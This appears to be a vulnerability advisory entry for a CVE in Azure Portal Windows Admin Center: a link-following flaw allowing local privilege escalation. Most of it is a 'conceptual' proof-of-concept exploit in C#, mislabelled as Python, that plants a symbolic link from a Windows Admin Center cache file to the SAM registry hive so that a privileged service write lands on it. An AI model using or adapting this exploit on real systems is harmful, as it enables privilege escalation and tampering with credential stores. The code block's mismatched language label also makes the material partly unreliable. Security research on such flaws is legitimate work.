Improper link resolution before file access ('link following') in Azure Portal Windows Admin Center allows an authorized attacker to elevate privileges locally.
Azure Portal Windows Admin Center (具体受影响版本未在提供的信息中明确)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-42834
// This script demonstrates how a symbolic link could be created to exploit improper link resolution.
using System;
using System.IO;
using System.Runtime.InteropServices;
public class SymbolicLinkExploit
{
// Import kernel32.dll for creating symbolic links
[DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
public static extern bool CreateSymbolicLink(string lpSymlinkFileName, string lpTargetFileName, int dwFlags);
public static void Main(string[] args)
{
string maliciousLink = @"C:\ProgramData\WindowsAdminCenter\Cache\config.json";
string privilegedTarget = @"C:\Windows\System32\config\sam";
Console.WriteLine("[*] Attempting to create symbolic link...");
Console.WriteLine("[*] Link: " + maliciousLink);
Console.WriteLine("[*] Target: " + privilegedTarget);
// Create the symlink (requires Developer Mode or specific privileges on some Windows versions)
// 0x2 indicates SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE
bool success = CreateSymbolicLink(maliciousLink, privilegedTarget, 0x2);
if (success)
{
Console.WriteLine("[+] Symbolic link created successfully!");
Console.WriteLine("[*] Waiting for the Windows Admin Center service to trigger the file access...");
Console.WriteLine("[*] If the service writes to the link, it writes to the privileged target.");
}
else
{
int errorCode = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to create symbolic link. Error Code: " + errorCode);
}
}
}